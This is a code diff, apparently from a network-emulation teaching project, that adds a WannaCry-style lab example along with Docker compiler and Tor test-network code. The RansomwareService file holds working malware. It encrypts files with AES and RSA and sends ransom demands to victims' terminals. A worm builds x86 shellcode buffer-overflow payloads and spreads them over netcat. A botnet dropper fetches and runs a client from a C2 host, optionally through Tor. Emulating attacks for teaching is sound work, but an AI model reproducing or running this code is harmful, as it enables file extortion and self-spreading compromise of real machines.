{}\n'.format(md5(image.getName().encode('utf-8')).hexdigest()) + dockerfile + self._used_images.add(image.getName()) + + for cmd in node.getBuildCommands(): dockerfile += 'RUN {}\n'.format(cmd) + + start_commands = '' + + if self.__self_managed_network: + start_commands += 'chmod +x /replace_address.sh\n' + start_commands += '/replace_address.sh\n' + dockerfile += self._addFile('/replace_address.sh', DockerCompilerFileTemplates['replace_address_script']) + dockerfile += self._addFile('/dummy_addr_map.txt', dummy_addr_map) + dockerfile += self._addFile('/root/.zshrc.pre', DockerCompilerFileTemplates['zshrc_pre']) + + for (cmd, fork) in node.getStartCommands(): + start_commands += '{}{}\n'.format(cmd, ' &' if fork else '') + + dockerfile += self._addFile('/start.sh', DockerCompilerFileTemplates['start_script'].format( + startCommands = start_commands + )) + + dockerfile += self._addFile('/seedemu_sniffer', DockerCompilerFileTemplates['seedemu_sniffer']) + dockerfile += self._addFile('/seedemu_worker', DockerCompilerFileTemplates['seedemu_worker']) + + dockerfile += 'RUN chmod +x /start.sh\n' + dockerfile += 'RUN chmod +x /seedemu_sniffer\n' + dockerfile += 'RUN chmod +x /seedemu_worker\n' + + for file in node.getFiles(): + (path, content) = file.get() + dockerfile += self._addFile(path, content) + + for (cpath, hpath) in node.getImportedFiles().items(): + dockerfile += self._importFile(cpath, hpath) + + dockerfile += 'CMD ["/start.sh"]\n' + print(dockerfile, file=open('Dockerfile', 'w')) + + chdir('..') + + name = self.__naming_scheme.format( + asn = node.getAsn(), + role = self._nodeRoleToString(node.getRole()), + name = node.getName(), + displayName = node.getDisplayName() if node.getDisplayName() != None else node.getName(), + primaryIp = node.getInterfaces()[0].getAddress() + ) + + name = sub(r'[^a-zA-Z0-9_.-]', '_', name) + + return DockerCompilerFileTemplates['compose_service'].format( + nodeId = real_nodename, + nodeName = name, + networks = node_nets, + # privileged = 'true' if node.isPrivileged() else 'false', + ports = ports, + labelList = self._getNodeMeta(node), + volumes = volumes + ) + + def _compileNet(self, net: Network) -> str: + """! + @brief compile a network. + + @param net net object. + + @returns docker-compose network string. + """ + (scope, _, _) = net.getRegistryInfo() + if self.__self_managed_network and net.getType() != NetworkType.Bridge: + pfx = next(self.__dummy_network_pool) + net.setAttribute('dummy_prefix', pfx) + net.setAttribute('dummy_prefix_index', 2) + self._log('self-managed network: using dummy prefix {}'.format(pfx)) + + net_prefix = self._contextToPrefix(scope, 'net') + if net.getType() == NetworkType.Bridge: net_prefix = '' + + return DockerCompilerFileTemplates['compose_network'].format( + netId = '{}{}'.format(net_prefix, net.getName()), + prefix = net.getAttribute('dummy_prefix') if self.__self_managed_network and net.getType() != NetworkType.Bridge else net.getPrefix(), + mtu = net.getMtu(), + labelList = self._getNetMeta(net) + ) + + def _makeDummies(self) -> str: + """! + @brief create dummy services to get around docker pull limits. + + @returns docker-compose service string. + """ + mkdir('dummies') + chdir('dummies') + + dummies = '' + + for image in self._used_images: + self._log('adding dummy service for image {}...'.format(image)) + + imageDigest = md5(image.encode('utf-8')).hexdigest() + + dummies += DockerCompilerFileTemplates['compose_dummy'].format( + imageDigest = imageDigest + ) + + dockerfile = 'FROM {}\n'.format(image) + print(dockerfile, file=open(imageDigest, 'w')) + + chdir('..') + + return dummies + + def _doCompile(self, emulator: Emulator): + registry = emulator.getRegistry() + + self._groupSoftware(emulator) + + for ((scope, type, name), obj) in registry.getAll().items(): + + if type == 'net': + self._log('creating network: {}/{}...'.format(scope, name)) + self.__networks += self._compileNet(obj) + + for ((scope, type, name), obj) in registry.getAll().items(): + + if type == 'rnode': + self._log('compiling router node {} for as{}...'.format(name, scope)) + self.__services += self._compileNode(obj) + + if type == 'hnode': + self._log('compiling host node {} for as{}...'.format(name, scope)) + self.__services += self._compileNode(obj) + + if type == 'rs': + self._log('compiling rs node for {}...'.format(name)) + self.__services += self._compileNode(obj) + + if type == 'snode': + self._log('compiling service node {}...'.format(name)) + self.__services += self._compileNode(obj) + + if self.__client_enabled: + self._log('enabling seedemu-client...') + + self.__services += DockerCompilerFileTemplates['seedemu_client'].format( + clientImage = SEEDEMU_CLIENT_IMAGE, + clientPort = self.__client_port + ) + + if self.__eth_client_enabled: + self._log('enabling seedemu-eth-client...') + + self.__services += DockerCompilerFileTemplates['seedemu-eth-client'].format( + ethClientImage = ETH_SEEDEMU_CLIENT_IMAGE, + ethClientPort = self.__eth_client_port, + ) + + local_images = '' + + for (image, _) in self.__images.values(): + if image.getName() not in self._used_images or not image.isLocal(): continue + local_images += DockerCompilerFileTemplates['local_image'].format( + imageName = image.getName(), + dirName = image.getDirName() + ) + + self._log('creating docker-compose.yml...'.format(scope, name)) + print(DockerCompilerFileTemplates['compose'].format( + services = self.__services, + networks = self.__networks, + dummies = local_images + self._makeDummies() + ), file=open('docker-compose.yml', 'w')) diff --git a/examples/not-ready-examples/25-wannacry/Lib/RansomwareService.py b/examples/not-ready-examples/25-wannacry/Lib/RansomwareService.py new file mode 100644 index 000000000..362ba6371 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/Lib/RansomwareService.py @@ -0,0 +1,635 @@ +from __future__ import annotations +from seedemu import * +from typing import Dict +from seedemu.services.BotnetService import BotnetServer +from seedemu.compiler.Docker import DockerImage +import os + +RansomwareServerFileTemplates: Dict[str, str] = {} + +RansomwareServerFileTemplates['ransomware_util'] = """\ +#!/usr/bin/env python3 +# encoding :utf-8 + +from __future__ import annotations + +from Crypto.Cipher import AES +from Crypto.PublicKey import RSA +from Crypto.Util.Padding import unpad, pad +from Crypto.Random import get_random_bytes +from Crypto.Cipher import AES, PKCS1_OAEP +import glob +import subprocess +import os +import time + +class Encryption: + '''! + @brief Encryption Class + ''' + + __target_folder: str = "/tmp/tmp" + __encrypted_file_signature: bytes = b'WANAKRY!' + __fs_len: int = 8 + __master_pri_key: bytes + __master_pub_key: bytes + + def saveMasterKey(self): + priv_key, pub_key = self._generateRSAKey() + + self._saveFile("master_pub_key", pub_key) + self._saveFile("master_priv_key", priv_key) + + def encryptFiles(self, master_pub_key: bytes = None, target_folder:str = None): + assert master_pub_key != None, "master_pub_key is needed to encryptFiles" + + if master_pub_key: + self.__master_pub_key = master_pub_key + + #create keypairs per victim + priv_key, pub_key = self._generateRSAKey() + enc_pri_key = self._RSAEncrypt(self.__master_pub_key, priv_key) + self._saveFile("enc_priv_key",enc_pri_key) + + if target_folder: + self.__target_folder = target_folder + + files = glob.glob(self.__target_folder+"/**/*.txt", recursive = True) + for file in files: + if (not self._isEncrypted(file)): + key, iv, enc_file = self._AESEncrypt(file) + enc_key = self._RSAEncrypt(pub_key, key) + content = enc_key + iv + enc_file + self._saveFile(file,self.__encrypted_file_signature+content) + + def decryptFiles(self, master_pri_key:bytes = None, enc_pri_key_path:str = None): + assert master_pri_key != None, "master_pri_key is needed to decryptFiles" + assert enc_pri_key_path != None, "enc_pri_key_path is needed to decryptFiles" + + enc_pri_key = self._readFile(enc_pri_key_path) + pri_key = self._RSADecrypt(master_pri_key, enc_pri_key) + + files = glob.glob(self.__target_folder+"/**/*.txt", recursive = True) + for file in files: + if (self._isEncrypted): + file_sig, enc_key, iv, enc_file = self._readEncFile(file) + key = self._RSADecrypt(pri_key, enc_key) + content = self._AESDecrypt(key, iv, enc_file) + self._saveFile(file, content) + + + def _AESEncrypt(self, fileName:str): + file = self._readFile(fileName) + key = get_random_bytes(16) + + cipher = AES.new(key, AES.MODE_CBC) + enc_file = cipher.encrypt(pad(file, AES.block_size)) + + + return key, cipher.iv, enc_file + + def _AESDecrypt(self, key:bytes, iv:bytes, enc_bytes:bytes) -> bytes: + cipher = AES.new(key, AES.MODE_CBC, iv) + dec_bytes = unpad(cipher.decrypt(enc_bytes), AES.block_size) + return dec_bytes + + +############## RSA Implementation ############## + + def _generateRSAKey(self) : + key = RSA.generate(2048) + priv_key = key.export_key() + pub_key = key.publickey().export_key() + + return priv_key, pub_key + + def _RSAEncrypt(self, pub_key:bytes, plain:bytes) -> bytes: + import_pub_key = RSA.import_key(pub_key) + cipher_rsa = PKCS1_OAEP.new(import_pub_key) + plain_blocks = [plain[i:i+190] for i in range(0, len(plain), 190)] + enc = b'' + + for plain_block in plain_blocks: + enc_block = cipher_rsa.encrypt(plain_block) + enc += enc_block + return enc + + def _RSADecrypt(self, pri_key:bytes, ct:bytes) -> bytes: + ct_blocks = [ct[i:i+256] for i in range(0, len(ct), 256)] + pt = b'' + import_pri_key = RSA.import_key(pri_key) + cipher_rsa = PKCS1_OAEP.new(import_pri_key) + + for ct_block in ct_blocks: + pt_block = cipher_rsa.decrypt(ct_block) + pt += pt_block + + return pt + +############## RSA Implementation Ends ############## + + def _readFile(self, fileName:str) -> bytes: + fd = open(fileName, "rb") + content = fd.read() + fd.close() + return content + + def _readEncFile(self, fileName:str): + fs = open(fileName, "rb") + file_sig = fs.read(self.__fs_len) + key = fs.read(256) + iv = fs.read(16) + content = fs.read() + return file_sig, key, iv, content + + + def _isEncrypted(self, fileName:str) -> bool: + file = self._readFile(fileName) + if(file[:self.__fs_len]==self.__encrypted_file_signature): + return True + else: + return False + + + def _saveFile(self, fileName:str, content:bytes): + file = open(fileName, "wb") + file.write(content) + file.close() + + def setEncryptedFileSignature(self, encrypted_file_signature:str): + self.__encrypted_file_signature = bytes(encrypted_file_signature, 'utf-8') + self.__fs_len = len(self.__encrypted_file_signature) + + +class Notification(): + __msg : str + + def __init__(self, msg:str = "you are hacked"): + self.__msg = msg + + def setMsg(self, msg:str): + self.__msg = msg + + def _getPTSList(self): + result = subprocess.run(["ls", "/dev/pts"], capture_output=True) + pts_list = result.stdout.decode('utf-8').split() + #print(pts_list) + return pts_list + + def notify(self, interval: int = 2, repeat_num: int = 10): + for i in range(repeat_num): + pts_list = self._getPTSList() + for pts in pts_list: + if pts != "ptmx": + with open('/dev/pts/'+pts, 'w') as output: + subprocess.Popen(["echo", self.__msg], stdout=output) + time.sleep(interval) + + def fork(self, func: notify, args: list): + pid = os.fork() + if pid == 0: + func(args[0],args[1]) + os._exit(0) + +class BotClient(): + BotClientFileTemplates: dict[str, str] = {} + + BotClientFileTemplates['client_dropper_runner_tor'] = '''\\ + #!/bin/bash + url="http://$1:$2/clients/droppers/client.py" + until curl -sHf --socks5-hostname $3:$4 "$url" -o client.py > /dev/null; do { + echo "botnet-client: server $1:$2 not ready, waiting..." + sleep 1 + }; done + echo "botnet-client: server ready!" + python3 client.py & + ''' + + BotClientFileTemplates['client_dropper_runner_default'] = '''\\ + #!/bin/bash + url="http://$1:$2/clients/droppers/client.py" + until curl -sHf "$url" -o client.py > /dev/null; do { + echo "botnet-client: server $1:$2 not ready, waiting..." + sleep 1 + }; done + echo "botnet-client: server ready!" + python3 client.py & + ''' + + __hs_addr:str + __hs_port:str + __proxy_addr:str + __proxy_addr:str + __supports_tor:bool = False + + def __init__(self, hs_addr:str, hs_port:str): + self.__hs_addr = hs_addr + self.__hs_port = hs_port + + def enableTor(self, proxy_addr:str, proxy_port:str): + self.__supports_tor = True + + if self.__supports_tor: + self.__proxy_addr = proxy_addr + self.__proxy_port = proxy_port + + def _saveFile(self, fileName:str, content:str): + file = open(fileName, "w") + file.write(content) + file.close() + + def save_and_run_dropper_runner(self): + if self.__supports_tor: + self._saveFile("/tmp/byob_client_dropper_runner", self.BotClientFileTemplates['client_dropper_runner_tor']) + subprocess.run(["chmod", "+x", "/tmp/byob_client_dropper_runner"]) + subprocess.run(["/bin/bash", "/tmp/byob_client_dropper_runner", self.__hs_addr, self.__hs_port, self.__proxy_addr, self.__proxy_port]) + else: + self._saveFile("/tmp/byob_client_dropper_runner", self.BotClientFileTemplates['client_dropper_runner_default']) + subprocess.run(["chmod", "+x", "/tmp/byob_client_dropper_runner"]) + subprocess.run(["/bin/bash", "/tmp/byob_client_dropper_runner", self.__hs_addr, self.__hs_port]) + +""" + +RansomwareServerFileTemplates['gen_master_key'] = """\ +#!/usr/bin/env python3 +# encoding :utf-8 + +from mal.RansomwareUtil import Encryption + +enc = Encryption() +enc.saveMasterKey() +""" + +RansomwareServerFileTemplates['ransomware'] = """\ +#!/usr/bin/env python3 +# encoding :utf-8 + +from RansomwareUtil import Encryption +from RansomwareUtil import Notification +from RansomwareUtil import BotClient +import subprocess + +# Encryption test +def encrypt(pub_key:str): + f = open(pub_key, "rb") + master_pub_key = f.read() + f.close + enc = Encryption() + enc.encryptFiles(master_pub_key) + +#notification test +def notification(interval, repeat_num, msg): + noti = Notification() + noti.setMsg(msg) + noti.fork(noti.notify, [interval,repeat_num]) + +def main(): + + encrypt("./mal/master_pub_key") + notification({},{}, '''\{}''') +{} + +if __name__ == "__main__": + main() + +""" + +RansomwareServerFileTemplates['decrypt'] = """\ +#!/usr/bin/env python3 +# encoding :utf-8 + +from RansomwareUtil import Encryption + +def decrypt(priv_key:str): + try: + f = open(priv_key, "rb") + except: + print("you should have to pay first.") + return + + master_priv_key = f.read() + f.close() + dec = Encryption() + dec.decryptFiles(master_priv_key, enc_pri_key_path="/bof/enc_priv_key") + +decrypt("/bof/mal/master_priv_key") + +""" + +RansomwareServerFileTemplates['worm_script'] = """\ +#!/bin/env python3 +import sys +import os +import time +import subprocess +from random import randint + +# You can use this shellcode to run any command you want +shellcode= ( + "\\xeb\\x2c\\x59\\x31\\xc0\\x88\\x41\\x19\\x88\\x41\\x1c\\x31\\xd2\\xb2\\xd0\\x88" + "\\x04\\x11\\x8d\\x59\\x10\\x89\\x19\\x8d\\x41\\x1a\\x89\\x41\\x04\\x8d\\x41\\x1d" + "\\x89\\x41\\x08\\x31\\xc0\\x89\\x41\\x0c\\x31\\xd2\\xb0\\x0b\\xcd\\x80\\xe8\\xcf" + "\\xff\\xff\\xff" + "AAAABBBBCCCCDDDD" + "/bin/bash*" + "-c*" + # You can put your commands in the following three lines. + # Separating the commands using semicolons. + # Make sure you don't change the length of each line. + # The * in the 3rd line will be replaced by a binary zero. + " echo '(^_^) Shellcode is running (^_^)'; " + " nc -lnv 8080 > mal.zip; nc -nvlk 5555& unzip mal.zip; " + " python3 ./mal/worm.py& python3 ./mal/ransomware.py& *" + "123456789012345678901234567890123456789012345678901234567890" + # The last line (above) serves as a ruler, it is not used +).encode('latin-1') + + +# Create the badfile (the malicious payload) +def createBadfile(): + content = bytearray(0x90 for i in range(500)) + ################################################################## + # Put the shellcode at the end + content[500-len(shellcode):] = shellcode + + ret = 0xffffd614 # Need to change + offset = 116 # Need to change + + content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') + ################################################################## + + # Save the binary code to file + with open('badfile', 'wb') as f: + f.write(content) + +def isAttacked(ipaddr:str): + process = subprocess.run(f"nc -w3 {ipaddr} 5555", shell=True, capture_output=True) + result = process.returncode + if result == 0: + return True + else: + return False + +def checkKillSwitch(): + domain = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" + process = subprocess.run(f"ping -q -c1 -W1 {domain}", shell=True, capture_output=True) + result = process.returncode + if result != 2: + print(f"KillSwitch is enabled", flush = True) + return True + else: + print(f"KillSwitch is disabled", flush = True) + return False + +# Find the next victim (return an IP address). +# Check to make sure that the target is alive. +def getNextTarget(): + while True: + ip = ["10", str(randint(150, 171)), "0", str(randint(70, 75))] + ipaddr = ".".join(ip) + process = subprocess.run(f"nc -w3 {ipaddr} 9090", shell=True, capture_output=True) + result = process.returncode + + if result != 0: + print(f"{ipaddr}:9090 is not alive", flush = True) + continue + else: + print(f"***{ipaddr}:9090 is alive", flush=True) + if isAttacked(ipaddr): + print(f"***{ipaddr}:9090 is attacked already", flush=True) + continue + else: + print(f"***{ipaddr}:9090 is not attacked yet, launch the attack", flush=True) + return ipaddr + + +############################################################### + +print("The worm has arrived on this host ^_^", flush=True) + +# This is for visualization. It sends an ICMP echo message to +# a non-existing machine every 2 seconds. +subprocess.Popen(["ping -q -i2 1.2.3.4"], shell=True) + +# This is for checking KillSwitch Domain +print(f"***************************************", flush=True) +print(f">>>>> Checking KillSwitch Domain <<<<<", flush=True) +print(f"***************************************", flush=True) +if checkKillSwitch(): + print(f">>>>> Attack Terminated <<<<<", flush=True) + exit(0) + +# Create the badfile +createBadfile() + +# Launch the attack on other servers +while True: + targetIP = getNextTarget() + + # Send the malicious payload to the target host + print(f"**********************************", flush=True) + print(f">>>>> Attacking {targetIP} <<<<<", flush=True) + print(f"**********************************", flush=True) + + subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], shell=True) + subprocess.run([f"cat mal.zip | nc -w5 {targetIP} 8080"], shell=True) + # Give the shellcode some time to run on the target host + time.sleep(1) + + + # Sleep for 10 seconds before attacking another host + time.sleep(10) + + # Remove this line if you want to continue attacking others + # exit(0) + +""" + +RansomwareServerFileTemplates['supports_bot'] = """\ + hs_addr = "10.170.0.99" + hs_port = "446" + + bot = BotClient(hs_addr, hs_port) + bot.save_and_run_dropper_runner() +""" + +RansomwareServerFileTemplates['supports_bot_tor'] = """\ + hs_addr = "" + hs_port = "446" + + proxy_addr = "" + proxy_port = "9050" + + bot = BotClient(hs_addr, hs_port) + bot.enableTor(proxy_addr, proxy_port) + bot.save_and_run_dropper_runner() +""" + +RansomwareServerFileTemplates['backdoor_for_decrypt_key'] = """\ + #bot is not supported + #open 7070 port for decrypt_key + subprocess.run(f"nc -nvl 7070 > ./mal/master_priv_key &", shell=True) +""" + +BYOB_VERSION='3924dd6aea6d0421397cdf35f692933b340bfccf' + + +class RansomwareServer(BotnetServer): + """! + @brief The RansomwareServer class. + """ + __noti_interval: int = 2 + __noti_repeat_num: int = 10 + __noti_msg: str = "\n your files have been encrypted\n if you want a decryption key, pay $100.\n When I check a payment, I will send you the decryption key. \n when you get the decyprtion key, all you have to do is run the decypt script : (python3 decyption.py)" + __byob_client: str + __byob_loader: str + __byob_payloads: str + __byob_stagers: str + __is_botnet_enabled: bool = False + __is_tor_enabled: bool = False + + def supportBotnet(self, is_botnet_enabled:bool)->RansomwareServer: + self.__is_botnet_enabled = is_botnet_enabled + return self + + def supportTor(self, is_tor_enabled:bool)->RansomwareServer: + if is_tor_enabled: + assert self.__is_botnet_enabled, "botnet should be enabled to support tor" + self.__is_tor_enabled = is_tor_enabled + return self + + def setNoti(self, interval:int, repeat_num:int, msg:str)-> RansomwareServer: + self.__noti_interval = interval + self.__noti_repeat_num = repeat_num + self.__noti_msg = msg + + return self + + def _getFileContent(self, file_name:str=None) -> str: + assert file_name != None, "file_name should be identified" + f = open(file_name, "r") + content = f.read() + f.close + + return content + + + def install(self, node: Node): + """! + @brief Install the service + """ + bot_template = RansomwareServerFileTemplates['backdoor_for_decrypt_key'] + node.addSharedFolder('/tmp/ransom', '../attack-codes') + #For Bot-Controller Aspect + if self.__is_botnet_enabled: + super().install(node) + bot_template = RansomwareServerFileTemplates['supports_bot'] + + if self.__is_tor_enabled: + self.__byob_client = self._getFileContent("./byob_tor/client.py") + self.__byob_loader = self._getFileContent("./byob_tor/loader.py") + self.__byob_payloads = self._getFileContent("./byob_tor/payloads.py") + self.__byob_stagers = self._getFileContent("./byob_tor/stagers.py") + node.setFile('/tmp/byob/byob/client.py', self.__byob_client) + node.setFile('/tmp/byob/byob/core/loader.py', self.__byob_loader) + node.setFile('/tmp/byob/byob/core/payloads.py', self.__byob_payloads) + node.setFile('/tmp/byob/byob/core/stagers.py', self.__byob_stagers) + bot_template = RansomwareServerFileTemplates['supports_bot_tor'] + + node.addSoftware('zip systemctl') + node.addBuildCommand('pip3 uninstall pycryptodome Crypto -y && pip3 install pycryptodome Crypto') + node.setFile('/tmp/ransom/mal/RansomwareUtil.py', RansomwareServerFileTemplates['ransomware_util']) + node.setFile('/tmp/ransom/gen_master_key.py', RansomwareServerFileTemplates['gen_master_key']) + node.setFile('/tmp/ransom/mal/decrypt.py', RansomwareServerFileTemplates['decrypt']) + node.setFile('/tmp/ransom/mal/ransomware.py', RansomwareServerFileTemplates['ransomware'].format(self.__noti_interval, self.__noti_repeat_num, self.__noti_msg, bot_template)) + node.setFile('/tmp/ransom/mal/worm.py', RansomwareServerFileTemplates['worm_script']) + node.setFile('/tmp/ransom/worm.py', RansomwareServerFileTemplates['worm_script']) + node.setFile('/tmp/tmp/hello.txt', 'Hello\nThis is the target file.') + #node.appendStartCommand('nc -nvlk 445 >> /tmp/ransom/send 1>&0 str: + out = ' ' * indent + out += 'Ransomware server object.\n' + + return out + + +class RansomwareService(Service): + """! + @brief The RansomwareService class. + """ + + def __init__(self): + """! + @brief RansomwareService constructor + """ + super().__init__() + self.addDependency('Base', False, False) + + def _createServer(self) -> Server: + return RansomwareServer() + + def getName(self) -> str: + return 'RansomwareService' + + def print(self, indent: int) -> str: + out = ' ' * indent + out += 'RansomwareServiceLayer\n' + + return out + +class RansomwareClientServer(Server): + """! + @brief The RansomwareServer class. + """ + __is_botnet_enabled: bool = False + + def supportBotnet(self, is_botnet_enabled:bool)->RansomwareClientServer: + self.__is_botnet_enabled = is_botnet_enabled + return self + + def install(self, node: Node): + #For Morris Worm Client Aspect + node.appendStartCommand('rm -f /root/.bashrc && cd /bof && ./server &') + + #For Botnet Client Aspect + if self.__is_botnet_enabled: + node.addSoftware('git cmake python3-dev gcc g++ make python3-pip') + node.addBuildCommand('curl https://raw.githubusercontent.com/malwaredllc/byob/{}/byob/requirements.txt > /tmp/byob-requirements.txt'.format(BYOB_VERSION)) + node.addBuildCommand('pip3 install -r /tmp/byob-requirements.txt') + + node.addSoftware('systemctl') + #For Ransomware Client Aspect + node.addBuildCommand('pip3 uninstall pycryptodome Crypto -y && pip3 install pycryptodome Crypto') + node.addBuildCommand('pip3 install pysocks numpy typing_extensions') + node.setFile('/tmp/tmp/hello.txt', 'Hello\nThis is the target file.') + + def print(self, indent: int) -> str: + out = ' ' * indent + out += 'Ransomware client object.\n' + + return out + +class RansomwareClientService(Service): + """! + @brief The RansomwareClientService class. + """ + + def __init__(self): + """! + @brief RansomwareClientService constructor + """ + super().__init__() + self.addDependency('Base', False, False) + + def _createServer(self) -> Server: + return RansomwareClientServer() + + def getName(self) -> str: + return 'RansomwareClientService' + + def print(self, indent: int) -> str: + out = ' ' * indent + out += 'RansomwareClientServiceLayer\n' + + return out \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/Lib/TorService.py b/examples/not-ready-examples/25-wannacry/Lib/TorService.py new file mode 100644 index 000000000..a9508f4f6 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/Lib/TorService.py @@ -0,0 +1,508 @@ +#!/usr/bin/env python +# encoding: utf-8 +# __author__ = 'Demon' + +from __future__ import annotations +from seedemu.core import Node, Emulator, Service, Server +from typing import List, Dict, Set +from enum import Enum + +TorServerFileTemplates: Dict[str, str] = {} + +# tor general configuration file +TorServerFileTemplates['torrc'] = '''\ +# Run Tor as a regular user (do not change this) +#User debian-tor + +TestingTorNetwork 1 + +## Comprehensive Bootstrap Testing Options ## +# These typically launch a working minimal Tor network in 25s-30s, +# and a working HS Tor network in 40-45s. +# See authority.tmpl for a partial explanation +#AssumeReachable 0 +#Default PathsNeededToBuildCircuits 0.6 +#Disable TestingDirAuthVoteExit +#Disable TestingDirAuthVoteHSDir +#Default V3AuthNIntervalsValid 3 + +## Rapid Bootstrap Testing Options ## +# These typically launch a working minimal Tor network in 6s-10s +# These parameters make tor networks bootstrap fast, +# but can cause consensus instability and network unreliability +# (Some are also bad for security.) +AssumeReachable 1 +PathsNeededToBuildCircuits 0.25 +TestingDirAuthVoteExit * +TestingDirAuthVoteHSDir * +V3AuthNIntervalsValid 2 + +## Always On Testing Options ## +# We enable TestingDirAuthVoteGuard to avoid Guard stability requirements +TestingDirAuthVoteGuard * +# We set TestingMinExitFlagThreshold to 0 to avoid Exit bandwidth requirements +TestingMinExitFlagThreshold 0 +# VoteOnHidServDirectoriesV2 needs to be set for HSDirs to get the HSDir flag +#Default VoteOnHidServDirectoriesV2 1 + +## Options that we always want to test ## +Sandbox 1 + +# Private tor network configuration +RunAsDaemon 0 +ConnLimit 60 +ShutdownWaitLength 0 +#PidFile /var/lib/tor/pid +Log info stdout +ProtocolWarnings 1 +SafeLogging 0 +DisableDebuggerAttachment 0 + +DirPortFrontPage /usr/share/doc/tor/tor-exit-notice.html +''' + +# tor DirServer(DA) configuration file +TorServerFileTemplates['torrc.da'] = '''\ +AuthoritativeDirectory 1 +V3AuthoritativeDirectory 1 + +# Speed up the consensus cycle as fast as it will go +# Voting Interval can be: +# 10, 12, 15, 18, 20, 24, 25, 30, 36, 40, 45, 50, 60, ... +# Testing Initial Voting Interval can be: +# 5, 6, 8, 9, or any of the possible values for Voting Interval, +# as they both need to evenly divide 30 minutes. +# If clock desynchronisation is an issue, use an interval of at least: +# 18 * drift in seconds, to allow for a clock slop factor +TestingV3AuthInitialVotingInterval 300 +#V3AuthVotingInterval 15 +# VoteDelay + DistDelay must be less than VotingInterval +TestingV3AuthInitialVoteDelay 5 +V3AuthVoteDelay 5 +TestingV3AuthInitialDistDelay 5 +V3AuthDistDelay 5 +# This is autoconfigured by chutney, so you probably don't want to use it +#TestingV3AuthVotingStartOffset 0 + +# Work around situations where the Exit, Guard and HSDir flags aren't being set +# These flags are all set eventually, but it takes Guard up to ~30 minutes +# We could be more precise here, but it's easiest just to vote everything +# Clients are sensible enough to filter out Exits without any exit ports, +# and Guards and HSDirs without ORPorts +# If your tor doesn't recognise TestingDirAuthVoteExit/HSDir, +# either update your chutney to a 2015 version, +# or update your tor to a later version, most likely 0.2.6.2-final + +# These are all set in common.i in the Comprehensive/Rapid sections +# Work around Exit requirements +#TestingDirAuthVoteExit * +# Work around bandwidth thresholds for exits +#TestingMinExitFlagThreshold 0 +# Work around Guard uptime requirements +#TestingDirAuthVoteGuard * +# Work around HSDir uptime and ORPort connectivity requirements +#TestingDirAuthVoteHSDir * +''' + +# DirServer fingerprint fetch script +TorServerFileTemplates["da_fingerprint"] = '''\ +#!/bin/sh +# version 2 +TOR_NICK=$(grep "^Nick" /etc/tor/torrc | awk -F ' ' '{print $2}') +AUTH=$(grep "fingerprint" $TOR_DIR/$TOR_NICK/keys/* | awk -F " " '{print $2}') +NICK=$(cat $TOR_DIR/$TOR_NICK/fingerprint| awk -F " " '{print $1}') +RELAY=$(cat $TOR_DIR/$TOR_NICK/fingerprint|awk -F " " '{print $2}') +SERVICE=$(grep "dir-address" $TOR_DIR/$TOR_NICK/keys/* | awk -F " " '{print $2}') +IPADDR=$(ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/') + +TORRC="DirAuthority $TOR_NICK orport=${TOR_ORPORT} no-v2 v3ident=$AUTH $SERVICE $RELAY" + +echo $TORRC +''' + +# tor setup script +TorServerFileTemplates["tor-entrypoint"] = '''\ +#!/bin/bash +set -o errexit + +# Fudge the sleep to try and keep the consensus +#FUDGE=$(( ( RANDOM % 100) + 20 )) +FUDGE=3 + +echo -e "\n========================================================" + +if [ ! -e /tor-config-done ]; then + touch /tor-config-done # only run this once + + # Generate a random name + RPW=$(pwgen -0A 10) + export TOR_NICKNAME=${{ROLE}}${{RPW}} + echo "Setting random Nickname: ${{TOR_NICKNAME}}" + echo -e "\nNickname ${{TOR_NICKNAME}}" >> /etc/tor/torrc + + # Host specific modifications to the torrc file + echo -e "DataDirectory ${{TOR_DIR}}/${{TOR_NICKNAME}}" >> /etc/tor/torrc + # Updated to handle docker stack/swarm network overlays + TOR_IP={TOR_IP} #$(ip addr show eth1 | grep "inet" | grep -v '\/32'| awk '{{print $2}}' | cut -f1 -d'/') + NICS=$(ip addr | grep 'state UP' | awk '{{print $2}}' | cut -f1 -d':') + + echo "Address ${{TOR_IP}}" >> /etc/tor/torrc + echo -e "ControlPort 0.0.0.0:9051" >> /etc/tor/torrc + if [ -z "${{TOR_CONTROL_PWD}}" ]; then + TOR_CONTROL_PWD="16:6971539E06A0F94C6011414768D85A25949AE1E201BDFE10B27F3B3EBA" + fi + echo -e "HashedControlPassword ${{TOR_CONTROL_PWD}}" >> /etc/tor/torrc + + # Changes to the torrc file based on the desired role + case ${{ROLE}} in + DA) + echo "Setting role to DA" + cat /etc/tor/torrc.da >> /etc/tor/torrc + echo -e "OrPort ${{TOR_ORPORT}}" >> /etc/tor/torrc + echo -e "Dirport ${{TOR_DIRPORT}}" >> /etc/tor/torrc + echo -e "ExitPolicy accept *:*" >> /etc/tor/torrc + KEYPATH=${{TOR_DIR}}/${{TOR_NICKNAME}}/keys + mkdir -p ${{KEYPATH}} + echo "password" | tor-gencert --create-identity-key -m 12 -a ${{TOR_IP}}:${{TOR_DIRPORT}} \ + -i ${{KEYPATH}}/authority_identity_key \ + -s ${{KEYPATH}}/authority_signing_key \ + -c ${{KEYPATH}}/authority_certificate \ + --passphrase-fd 0 + tor --list-fingerprint --orport 1 \ + --dirserver "x 127.0.0.1:1 ffffffffffffffffffffffffffffffffffffffff" \ + --datadirectory ${{TOR_DIR}}/${{TOR_NICKNAME}} + echo "Saving DA fingerprint to shared path" + da_fingerprint >> ${{TOR_DIR}}/torrc.da + echo "Waiting for other DA's to come up..." + ;; + RELAY) + echo "Setting role to RELAY" + echo -e "OrPort ${{TOR_ORPORT}}" >> /etc/tor/torrc + echo -e "Dirport ${{TOR_DIRPORT}}" >> /etc/tor/torrc + echo -e "ExitPolicy accept private:*" >> /etc/tor/torrc + + echo "Waiting for other DA's to come up..." + ;; + EXIT) + echo "Setting role to EXIT" + echo -e "OrPort ${{TOR_ORPORT}}" >> /etc/tor/torrc + echo -e "Dirport ${{TOR_DIRPORT}}" >> /etc/tor/torrc + echo -e "ExitPolicy accept *:*" >> /etc/tor/torrc + echo "Waiting for other DA's to come up..." + ;; + CLIENT) + echo "Setting role to CLIENT" + echo -e "SOCKSPort 0.0.0.0:9050" >> /etc/tor/torrc + ;; + HS) + # NOTE By default the HS role will point to a service running on port 80 + # but there is no service running on port 80. You can either attach to + # 